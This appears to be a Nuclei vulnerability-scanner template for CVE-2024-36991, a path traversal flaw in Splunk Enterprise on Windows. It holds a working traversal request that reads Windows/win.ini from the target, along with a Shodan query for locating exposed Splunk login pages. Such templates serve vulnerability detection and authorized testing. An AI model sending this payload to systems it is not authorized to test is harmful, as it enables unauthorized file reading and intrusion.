CVE-2024-36991: Splunk Enterprise - Local File Inclusion

id: CVE-2024-36991

info:
  name: Splunk Enterprise - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
  reference:
    - https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
    - https://x.com/chybeta/status/1809249794122215557/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36991
  classification:
    epss-score: 0.93402
    epss-percentile: 0.99814
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Login | Splunk"
  tags: cve,cve2024,splunk,lfi,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /en-US/login HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Splunk Inc.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4b0a0048304602210083b8d974d7de6f87db919e1f74f3febc37351edfd1afac24072dc37871f4da98022100bcd63fb7d4e7f475d504b6991e7a218f856dafc7ce5ab02b0228cffbe9967f0c:922c64590222798bb761d5b6d8e72950